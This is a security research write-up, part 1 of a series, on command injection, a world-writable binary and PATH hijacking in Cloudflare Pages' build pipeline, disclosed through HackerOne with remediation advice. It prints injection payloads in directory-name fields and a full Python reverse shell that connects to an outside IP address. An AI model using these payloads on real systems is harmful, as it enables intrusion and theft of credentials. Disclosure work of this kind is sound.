Cloudflare Pages, part 1: The fellowship of the secret

May 6, 2022

Bart Simpson sliding down a staircase, before falling off the railing and hitting each stair on the way down. bart is labelled with the words 'cloudflare pages' and the steps are labeled with various security issues.
 

Introduction

Before we get into this lengthy post, we’d like to thank both Cloudflare and HackerOne for working with us on these vulnerabilities. The process of reporting, remediating and validating these problems was undertaken with the utmost professionalism and diligence by all parties. We’ll be presenting the writeup in multiple parts: part 1, part 2, and part 3.

Cloudflare have also released a blog post detailing their experience with receieving these reports and how things transpired on their end on the Cloudflare blog.

This story all started with our engineering team trying to solve that age old problem: how to serve static files, via HTTP, on the WWW. Simple, right?

As many people reading this blog will know, Assetnote makes a number of wordlists useful for reconnaissance and enumeration available for free at wordlists.assetnote.io, and we are always looking for ways to streamline the updates and publishing of this data - whilst keeping the downloads fast and free. So, naturally, we found ourselves shopping around for CDNs and static hosting options - when we hit Cloudflare’s new (at the time) Pages offering.

Being a bunch of hackers, of course, we couldn’t simply evaluate a new technology. We couldn’t simply weigh the pros and cons of the service against the cost. Call it doing due diligence, call it the age old crime of curiosity - we had to try and hack it.

Along this journey, we found a few things. Command injection, container escapes, our Github tokens, Cloudflare’s Github tokens, Cloudflare API Keys to Cloudflare Organisation, and Cloudflare’s Azure API tokens amongst other things.

Overview of Cloudflare Pages

Cloudflare Pages operates as a continuous deployment service triggered by commits to a connected Github or Gitlab repository. Using pages is simple, and this was one of the reasons we were looking at it initially. Deployments are automated, and Cloudflare’s global content network has good performance and the pricing is reasonable. The process looks something like this -

  1. You grant Cloudflare some oauth permissions to read your repository, as a connected oauth app.
  2. Each time a commit is pushed to a target branch, Cloudflare will pull your code, run some user specified actions against the code (e.g. npm build, hugo or whatever build tools you use), then upload your built resources to Cloudflare’s servers
  3. Cloudflare Pages gives you a nice pages.dev URL.

In the screenshot below, you can see our very clean and legitimate deployment history for our very important cloudshell2pls website.

a very sketchy looking list of failed builds we used to run our reverse shells on Cloudflare pages

Some of the levers you can tune in your build include:

  • The build command;
  • The output and root directory to use inside the build environment;
  • Environment Variables to inject into the build

a list of build configurations including: build command, build output directory, root directory and build branch.

🤔 (yes this is the heading)

So naturally, as very non-malicious and security conscious individuals with a natural curiosity for how things work - a few thoughts popped into our heads:

  • Where is Cloudflare running our builds?
  • How is Cloudflare isolating our builds?
  • How is Cloudflare accessing our repository?
  • Where are these environment variables stored and can we get access to them?
  • Can we mine crypto on this? what kind of compute resources are available?
  • What else can we access from inside the build environment’s internal network?

Diving Deeper into Cloudflare Pages

Our first intuition was to drop into the cloudflare pages worker and figure out exactly what is happening when a build is running.

Thankfully, pages lets us specify arbitrary build commands for running the build. So naturally, our website is going to build a reverse shell.

Dropping into our reverse shell, we can see the process tree, and which parent process is calling our build script. Interestingly, this informs us where the build scripts we’re executing are located - as we can see different paths prefixing the parent processes. The scripts are running from some pretty suspect /__a/ and /__w/ directories - which are definitely not part of the base Linux system. (These directories are important, we’ll later find out the pages product uses Azure DevOps pipelines under the hood, and this is how azure pipelines distributes its agents and configuration files with cloud-init).

From this point, we decided to start investigating exactly how this build process works. Some obvious starting points from the process listing was our parent process, /opt/pages/build_tools/build.sh and also build_tool/main.py. While digging around those files, we also found an azure_pipelines.yml in a commandline argument, which informed us of how things would piece together as we step through this writeup.

Sean also had some ideas about exploring variable substitutions in unusual places, and James at this point also had ideas about trying to understand better which container runtime we were in and as such our investigation upward through the process tree began.

The treasure map - Azure_piplines.yaml

Before we dive into each individual bug, its important we first map out where we’re looking for gold. This is an important step in approaching unknown systems - mapping the attack surface. In our case, understanding the azure pipelines gave us pointers on how the entire process fit together, and where in the process hierarchy we were at with our build reverse shell.

a YAML formatted document showing a series of steps for running the build on Azure DevOps pipelines, including calls to build.sh (the build agent which runs our build)

From their azure_pipielines.yaml we could see a series of jobs that each would execute one step in the build.sh process. Importantly, we could see private keys and secrets sprinkled throughout the jobs, but, we were in probably the build-assets step on line 37, which unfortunately had no environment variables.

What would be juicy though, was breaking into the publish-assets or fetch-code steps to pull the GITHUB_PROD_PRIVATE_KEY and the CF_PROD_API_TOKEN.

Cloudflare build_tools CTF

Diving into the buildtools scripts, this quickly felt like a ctf challenge. Provided with a series of deployment scripts and finding the fastest way to get RCE (or, the flag, because we’re still pretending this is a CTF).

The build.sh script dropped permissions to the buildbot user and executed our build_tool/main.py. Our build script is executed in the context of this user as a result, so if we want to escalate our privileges, we’ll need to find a way to do it before the below sudo happens.

a bash script with the command 'sudo PATH="$PATH" PYTHONPATH=. -H -E -u buildbot python3.7 -u build_tool/main.py $@'

Build_tool, which is the command called by the sudo, seemed to regulate the entire build process, having multiple subcommands for each related task of the build

a python script which uses the argparse library to specify various configuration parameters for the build, most interestingly parameters like env-vars, output-dir and build-command match configuration boxes on the Cloudflare pages web UI build configuration

With build_tool being run as a non-privileged user, we need to run some commands prior to it being invoked if we want to be able to escalate privileges. And we need to escalate privileges if we want to poke around some more, and potentially escape from what looks like a container.

From here we began to dive into the treasure sites we identified with the azure_pipelines.yml: CLONE_REPO and PUBLISH_ASSETS.

flag{thats_a_lot_of_app_installs} - Command Injection in CLONE_REPO

Realistically, we probably should not have had access to the azure_pipelines.yml file. But we do, so let’s dig into it. We know that the build_tool we looked at previously is called by the pipeline configuration, and the CLONE_REPO step would have some juicy secrets. In the snippet below, we can see them using the tokens injected to clone the repository, then some validation on the path, and finally moving the results to the final directory.

a python snippet from the build agent, showing the fetch_github_archive function, which uses a function called run_cmd to shell out, and references the clone directory we potentially control

Typically in python, the recommended way to execute commands is providing a list of arguments, which would prevent any kind of shell escaping or evaluation, e.g.

useless_cat_call = subprocess.Popen(["cat", “filename”, user_input], …  text=True)

However, in this case, our script was very helpful in providing our user controlled root_dir straight into a mv command on line 74. The next logical step here is to investigate whether or not root_dir can be controlled. So, what is the root_dir and is it user controlled?

Going back to the Cloudflare UI, the build configuration allowed us to modify the “root directory” of the build. Looks familiar, right? It turns out this is indeed rendered as the root_dir referenced in the above snippet, so we can control a parameter to the mv command in the deployment scripts being called by the Azure DevOps pipeline. So, our next step is to see if we can do something useful like dumping environment variables or running commands, and seeing if we are running these commands outside of our original security context.

a screenshot of the build configuration from the cloudflare pages UI showing the path setting modified to be 'f;env>/tmp/bar.txt;echo' with the error test 'Please enter a valid path' below

There were three gotcha’s here though. Firstly, as evident in the source code above, we were having our root directory checked as existing in the repo (solid defensive programming here, it’s a great idea to do this!). Secondly, messing with where the repository was moved to, would prevent our build from being able to run. Thirdly, the control panel would not let us submit our very legitimate root directory for our build configuration, due to validation which was in place, preventing special characters from being entered.

Bypassing the validation of root_dir can easily be remedied. Thanks to the beauty and flexibility of linux - there is a lot of freedom in which characters are allowed in a directory name. mkdir -p ‘f;env>/tmp/bar.txt;echo’ solved our problem allowing for this pass without any fanfare. This creates a directory with the same name as our command injection, so when the path is checked to see if it exists, it does. Now, the remainder of our shell injection will be allowed, and then executed.

a console directory listing showing a hierarchy of folders, starting at 'f;env>' with child folders 'tmp', 'bar.txt;' and 'bar.txt;echo'

The build directory pollution however broke the build. The checkout failed, so the build script was not present to be called later in the build. This was resolved by executing a command that did not rely upon anything in the repo. In our case, directly executing base64 /tmp/bar.txt or cat /tmp/bar.txt would work regardless of whether the checkout failed or if we were executing in the wrong directory. Using built-in commands and known, absolute paths when testing command injections is always a good debugging step which can help you validate your command injection before moving onto more complex payloads.

Finally, the input validation. We thought this might be a bit of a challenge, but thankfully, this was only client-side validation, performed by the frontend Javascript. A quick burp repeater session on a valid POST request to update the project settings led us on our merry way, allowing us to inject our spicy settings without validation.

a screenshot of the burp repeater, with the request produced by updating the path in the build configuration loaded. the invalid path setting has been manually submitted and a 200 response has been returned from the cloudflare pages API, indicating the setting was accepted.

Triggering another build after updating the build command, we can now ech our our /tmp/bar.txt file back to the build logs. The base64-encoded data contained all environment variables set in the context of the early build. It contained many good secrets, most notably a GitHub private key.

a screenshot of the build progress in the cloudflare UI showing a base64 blob which contains the private environment variables from the build agent when decoded.

“But Sean & James” you may ask, “private keys are neat and all, but what if they’re duds, what if they do nothing?” Fear not reader, we asked ourselves the same question. We sought to validate the keys before getting too excited. Using the GitHub API, we found that these keys were able to get us read and write permissions as the cloudflare-pages github integration app.

a screenshot of a curl request against the github API, which shows the private key in use, accessing the details of the "cloudflare-pages" github app

And given the app was not scoped to each user, we consequently had access to all 18290 users’ repositories who had granted Cloudflare Pages access :) :) :)

flag{thats_a_lot_of_app_installs} get! A straight forward CTF challenge involving some input validation bypasses and a little bit of source code auditing. Who said PlaidCTF wasn’t a good place to practice bounties.

We talked a little about secure coding practices which would help here, and to summarise that thought - remediating these issues would involve a few defensive mechanisms at different points:

  • Relying on client-side validation here was a mistake. Server side validation of the input to root_dir would prevent us from being able to inject parameters for injection
  • Treating user input as untrusted at all levels of the stack is good practice. Proper argument escaping and handling of arguments in the shell commands and in the python script would have prevented our command injections. We can use shutil.move() instead of a subshell for mv, and use python subprocess calls with list based arguments, instead of strings, to avoid shell escapes in the git commands. For example, using subprocess.call([‘mv’, src_file, dest_dir]) does not allow the insertion of special shell control characters such as ‘;’, and also does not spawn the command in a shell interpreter by default. Also, avoid using the shell=True argument unless absolutely necessary.
  • Finally, using a user or repository scoped token for each git clone would prevent a breach of this step from affecting all users who gave cloudflare-pages access. A token scoped to only the repository or user that gave access, would mean a breach gave no more access than we already had in the build step, preventing a large-scale credential and data breach, which is what we could have caused if we were bad actors.

flag{cloudflare_for_cloudflare} - Command Injection in PUBLISH_ASSETS

Having gotten a good hit of dopamine from the CLONE_REPO step, we looked towards getting some more flags from the PUBLISH_ASSETS step.

The implementation for publish_assets involved a few steps:

  1. Performing some input validation on the user supplied output_dir;
  2. Updating some log files that we can’t control
  3. Executing pages-metadata-generator, a custom script added by Cloudflare, with the asset_dir

a screenshot of the store_assets function in the build agent code, most notably showing a call to an executable named 'pages-metadata-generator', also referencing the output dir which we can control via build configuration

Very similar to the CLONE_REPO command execution vulnerability, we similarly had a command injection in our 3rd step of executing the pages-metadata-generator with some user-controlled input. We could supply an output_dir like bash /tmp/shell.sh and as long as a directory with that name existed in the repository, we would be fine.

Copying our reverse shell to /tmp/shell.sh in the build step, then creating our malicious output_dir location with mkdir -p ';bash /tmp/shell.sh;echo ' allowed us to drop straight into a shell on the next build.

a screenshot of the build configuration UI showing a modified output directory, including our reverse shell command ';bash /tmp/shell.sh;echo'

a screenshot of the reverse shell showing the output of env grep CF which includes a bunch of different prod and staging cloudflare API keys

And we’re back. Here we have more spicy environment variables, this time we have the API tokens used to communicate with the Cloudflare API. We didn’t shake anything too spooky out of this, but we did have access to Cloudflare pages’ own Cloudflare project with these keys - certainly these keys were not meant to be accessible to simple users such as ourselves, so we left it there and did not attempt further exploitation.

Remediation of this issue is very similar to above:

  • Having server side validation of inputs for suspicious or invalid symbols in directory names would have mitigated the issue
  • Having properly handled and escaped user arguments to the subprocess would have ultimately prevented the vulnerability as well.
  • As for using cloudflare’s API keys, they may have been able to get away with a tighter scoped or api specific token instead of a cloudflare API wide token.

flag{there’s_no_way_we_can_overwrite_that} - Chmod 777 pages_metadata_generator

After our initial report for the command injection, Cloudflare were very fast to remediate our issue, having a fix within two days. However, we were determined to hack our way back in, and depriving us of our right to use Cloudflare’s own API keys was unjust!

Diving again through the filesystem, we began searching for binaries that were left with liberal permissions, and found that our friendly /opt/pages/bin/pages-metadata-generator called in PUBLISH_ASSETS was actually marked as rwxrwxrwx, that is, world readable, world writable and world executable (chmod 0777). Our hunch was, if we could write to this file from our build step, then the PUBLISH_ASSETS step might just re-use our poisoned file and give us access again to those keys.

Our hunch was right…

We set up our build script to manipulate the pages-metadata-generator file to be a bash script that called our reverse shell.

#!/bin/bash
cp pages-metadata-generator /opt/pages/bin/pages-metadata-generator

pages-metadata-generator:

#!/bin/bash
echo "henlo fren"
export > /tmp/envvars

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.184.89.99",9448));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Aaand after triggering another build, we see our reverse shell executing underneath the pages-metadata-generator job.

a pstree showing our current shell running as a child process of the pages-metadata-generator process

The mitigation for this issue was as simple as locking down the world-writable permissions on the binaries. An alternative solution was to re-mount the binaries from outside the container on each step, ensuring that any modification to core binaries would be overwritten on each step.

flag{its_oscp_all_over_again} - Path injection

After fixing the permissions error, we were back to scratching our heads. We were running out of ideas. There were no more world writable binaries, no more command injections and we still wanted our Cloudflare given right to use Cloudflare’s API keys.

After looking through the information we had, we noticed that as part of Cloudflare’s compatibility with a wide range of build systems and configurations, they had many PATH entries. Namely, the following directories are prepended to the PATH:

PATH=/opt/buildhome/.swiftenv/bin:/opt/buildhome/.swiftenv/shims:/opt/buildhome/.php:/opt/buildhome/.binrc/bin:/usr/local/rvm/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/buildhome/.cask/bin:/opt/buildhome/.gimme/bin:/opt/buildhome/.dotnet/tools:/opt/buildhome/.dotnet

Additionally, commands run were all using just the bash command. Without an absolute path. This meant that if we were able to create a malicious bash binary, in one of these path locations, we would be able to break out of the build step once again. Thankfully, files created in the /opt/buildhome directory persist across task executions. Therefore, creating an executable at /opt/buildhome/.swiftenv/bin/bash allowed us to hijack future build steps and hence execute commands again in each subsequent step.

Our next build dropped us into a shell - and it was executing in a higher privilege than before! This time as the AzDevops user, before we even get to executing the cloudflare build scripts, and the sudo to the lower privileged buildbot user! This account additionally has passwordless sudo access, so we were able to access the root account in the container. This gave us a lot more latitude for poking around.

a screenshot of a process tree from within a reverse shell, showing our process is running as the AzDevOps+ user we mentioned previously

Remediating this issue involved any or all of the following methods:

  • Restricting the directories added to the paths to limit what binaries could be created in the. Marking the directories as non-world writable would have limited the impact here
  • Using absolute paths when using binaries like bash for executing scripts would have prevented us from hijacking a higher build step

At this point, we cut a report for the above issues.

Part 2

Turns out, we were just getting started. Being able to access the AzDevOps accounts requires further investigation. Additionally, as we reported each injection vulnerability, it was patched, and we had to find news ways to escape from the buildbot user. We’ll discuss this part of the writeup in part 2: the two privescs.